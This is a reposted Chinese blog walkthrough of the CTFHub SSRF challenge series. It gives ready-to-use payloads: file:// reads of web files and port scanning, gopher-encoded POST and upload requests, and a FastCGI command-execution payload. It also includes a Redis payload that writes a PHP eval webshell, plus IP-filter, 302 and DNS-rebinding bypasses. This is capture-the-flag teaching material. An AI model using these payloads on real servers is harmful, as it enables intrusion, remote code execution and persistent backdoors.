程序员最近都爱上了这个网站  程序员们快来瞅瞅吧!  it98k网:it98k.com

本站消息

站长简介/公众号

  出租广告位,需要合作请联系站长

+关注
已关注

分类  

暂无分类

标签  

暂无标签

日期归档  

CTFHub技能树 Web-SSRF篇(保姆级通过教程)

发布于2022-06-02 06:51     阅读(595)     评论(0)     点赞(10)     收藏(4)


目录

第一部分(Http、Dict和file等协议的利用)

内网访问

为协议读取文件

端口扫描

第二部分(Gopher协议的利用)

        POST请求

上传文件

FastCGI协议

        Redis协议

第三部分

URL Bypass

数字IP Bypass

302跳转 Bypass

        DNS重绑定 Bypass

CTFHub技能树 Web系列中的其他篇章也陆续更新中,感兴趣的同学可以持续关注,感谢大家的支持!!!


第一部分(Http、Dict和file等协议的利用)

内网访问

尝试访问位于127.0.0.1的flag.php吧

我们是从目标主机内网环境访问它本地的flag.php,我们构建url:

/?url=http://127.0.0.1/flag.php

图中我们可以看出访问成功了。

为协议读取文件

尝试去读取一下Web目录下的flag.php吧

我们尝试直接访问,发现访问不到。

 既然是伪协议访问,我们先了解一下url伪协议:

  1. 类型
  2. file:///
  3. dict://
  4. sftp://
  5. ldap://
  6. tftp://
  7. gopher://

这里我们用到的是

file:///   -- 本地文件传输协议,主要用于访问本地计算机中的文件


我们构建如下payload:

/?url=file:///var/www/html/flag.php

访问成功后只会看到三个问号,这里需要我们查看一下源码,我们就可以发现 flag 了。

端口扫描

来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦。

已经提示了端口范围,我们使用burpsuite来爆破

先设置url,将8000设为变量

 设置变量的类型(Numbers)和范围(8000-9000)

 设置4个线程,不要太多。

 爆破结果:8723端口

 我们尝试访问,访问成功。

第二部分(Gopher协议的利用)

定义:Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

POST请求

这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

我们访问 127.0.0.1/flag.php 会得到一个输入框

查看源码会得到一个key值 a23efde9fbddeb0cd5755d9a532c9342

 输入输入框:

我们尝试通过file协议读取index.php 和flag.php的页面源码

  1. ?url=file:///var/www/html/index.php
  2. ?url=file:///var/www/html/flag.php

 index.php

flag.php

尝试使用 Gopher 协议向服务器发送 POST 包
首先构造 Gopher协议所需的 POST请求:

  1. POST /flag.php HTTP/1.1
  2. Host: 127.0.0.1:80
  3. Content-Length: 36
  4. Content-Type: application/x-www-form-urlencoded
  5. key=a23efde9fbddeb0cd5755d9a532c9342

        在使用 Gopher协议发送 POST请求包时,HostContent-TypeContent-Length请求头是必不可少的,但在 GET请求中可以没有。 key值为自己所获得的。

        在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。

所以我们需要对构造的请求包进行两次 URL编码:

        第一次解码:

POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Length:%2036%0AContent-Type:%20application/x-www-form-urlencoded%0A%0Akey=a23efde9fbddeb0cd5755d9a532c9342

         在第一次编码后的数据中,%0A全部替换为%0D%0A。因为 Gopher协议包含的请求数据包中,可能包含有=&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。

        替换如下:

POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1:80%0D%0AContent-Length:%2036%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Akey=a23efde9fbddeb0cd5755d9a532c9342

第二次编码:

POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%252036%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=a23efde9fbddeb0cd5755d9a532c9342

        因为flag.php中的$_SERVER["REMOTE_ADDR"]无法绕过,只能通过index.php页面中的curl功能向目标发送 POST请求,构造如下Payload:

view-source:http://challenge-4a31b39b2d878282.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%252036%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=a23efde9fbddeb0cd5755d9a532c9342

        发送POST请求,得到flag。

上传文件

这次需要上传一个文件到flag.php了.祝你好运

 

我们尝试访问 ?/url=127.0.0.1/flag.php

发现上传页面并没有提交按钮

我们可以通过查看源码,并在from表单中写入 submit  ,如下图:

<input type="submit" name="submit">
 

 我们随便上传一个文件,页面提示如下:

在这里插入图片描述

 我们重新上传文件,并使用burpsuite抓包:

 我们根据获得的数据包来构建我们自己的POST请求:

  1. POST /flag.php HTTP/1.1
  2. Host: 127.0.0.1
  3. Content-Length: 292
  4. Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY
  5. ------WebKitFormBoundary1lYApMMA3NDrr2iY
  6. Content-Disposition: form-data; name="file"; filename="test.txt"
  7. Content-Type: text/plain
  8. SSRF Upload
  9. ------WebKitFormBoundary1lYApMMA3NDrr2iY
  10. Content-Disposition: form-data; name="submit"
  11. 提交
  12. ------WebKitFormBoundary1lYApMMA3NDrr2iY--

 我们可以使用Python脚本实现两次URL编码,第一次完成后需要将%0A修改为%0D%0A(也可以通过URL编码工具进行手动编码)

python脚本代码:

  1. import urllib.parse
  2. payload = \
  3. """POST /flag.php HTTP/1.1
  4. Host: 127.0.0.1
  5. Content-Length: 292
  6. Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY
  7. ------WebKitFormBoundary1lYApMMA3NDrr2iY
  8. Content-Disposition: form-data; name="file"; filename="test.txt"
  9. Content-Type: text/plain
  10. SSRF Upload
  11. ------WebKitFormBoundary1lYApMMA3NDrr2iY
  12. Content-Disposition: form-data; name="submit"
  13. 提交
  14. ------WebKitFormBoundary1lYApMMA3NDrr2iY--"""
  15. #注意后面一定要有回车,回车结尾表示http请求结束
  16. tmp = urllib.parse.quote(payload)
  17. # print(tmp)
  18. new = tmp.replace('%0A','%0D%0A')
  19. # print(new)
  20. result = 'gopher://127.0.0.1:80/'+'_'+new
  21. result = urllib.parse.quote(result)
  22. print(result) # 这里因为是GET请求所以要进行两次url编码

        踩个坑,我们需要注意的是payload的文本格式,我做的时候编码有问题一直没有访问成功(之后才发觉可能是文本格式有问题使得url编码存在一定问题,目标服务器无法解析)。通过URL编码的深入了解之后才发觉问题所在。

        脚本只是一种方便的方法,大家也可以通过网上的URL编码工具,手动编码。

伪造Payload:

?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--

发送数据包,即可得到flag。

FastCGI协议

这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

必看原理 -> 附件文章在这里

关于FastCGI协议附件文章讲的很明白了

我们这里使用Gopherus脚本(GitHub下载)构造payload

我们先将Gopherus脚本下载至服务器上

然后安装python2.7  (Gopherus脚本使用python2运行)

 安装成功后,我们运行 gopherus.py 脚本

python2 gopherus.py --exploit fastcgi

选择一个当前存在的php页面,就选择主页index.php命令先执行ls再cat

 

 我们获得payload后还需要在编码一次,一共进行了两次编码

需要注意的是进行编码时要去掉没有用的空格或者换行,否则将无法成功获得flag。本人有幸在这里卡了一会。 

  1. ?url=
  2. gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

提交,成功获得flag

Redis协议

这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

本关还是使用Gopherus脚本

python2 gopherus.py --exploit redis

我们选择php,默认路径,我们将一句话木马作为我们的payload

 我们将生成的payload再次编码

gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

 访问,虽然页面显示504,但是我们的shell.php已经写入了。

 访问shell.php,虽然有一些脏数据,但页面已经存在了

 我们尝试使用蚁剑连接,连接成功后我们找到flag,提交完成!

第三部分

URL Bypass

请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

打开题目

我们可以使用HTTP 基本身份认证绕过:

        HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。
        也就是:http://www.xxx.com@www.yyy.com形式

构造payload:

  1. ?url=
  2. http://notfound.ctfhub.com@127.0.0.1/flag.php

数字IP Bypass

这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

使用上一关的payload访问:hacker! Ban '/127|172|@/' ,我们发现这些被限制了

 既然不能使用十进制的IP,那我们尝试将IP转换为十六进制

八进制:0177.000.000.001
十进制:127.0.0.1
十六进制:0x7f000001

构造payload

  1. ?url=
  2. 0x7f000001/flag.php

成功获得flag

302跳转 Bypass

SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

尝试访问

 我们通过file协议获取其源码:

?url=file:///var/www/html/flag.php

 但是我们并没有在flag.php中看到 提示语:hacker! Ban Intranet IP

我们查看index.php的源码,我们发现了这句话

 我们发现这里存在这黑名单,限制了127 、172、10、192。但是没有限制localhost。

构造payload

  1. ?url=
  2. localhost/flag.php

成功获得flag!

 题目提示使用302跳转方式

编写一下代码

  1. #302.php
  2. <?php
  3. header("Location:http://127.0.0.1/flag.php");

我们需要将这个php放在公网上,拼接到url访问,就能实现302跳转

payload:?url=http://[公网IP]/302.php

DNS重绑定 Bypass

 关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助

必看原理 -> 附件文章

尝试访问flag.php

 我们查看index.php的源码,发现与上一关一样。但上一关的方法无法破解这一关!

 我们这里使用DNS重绑定

通过rbndr.us dns rebinding servicehttps://lock.cmpxchg8b.com/rebinder.html网站设置DNS:

这个网站会随机指向两个绑定地址的其中一个,由于127段是回环地址,将AB设置成127.0.0.1127.0.0.2,每一个都能访问localhost

 构造payload

  1. ?url=
  2. 7f000001.7f000002.rbndr.us/flag.php

发送请求,成功获得flag!

SSRF 完结!!!



所属网站分类: 技术文章 > 博客

作者:肚子里的大哥

链接:http://www.phpheidong.com/blog/article/337640/48567fd9781768dabac5/

来源:php黑洞网

任何形式的转载都请注明出处,如有侵权 一经发现 必将追究其法律责任

10 0
收藏该文
已收藏

评论内容:(最多支持255个字符)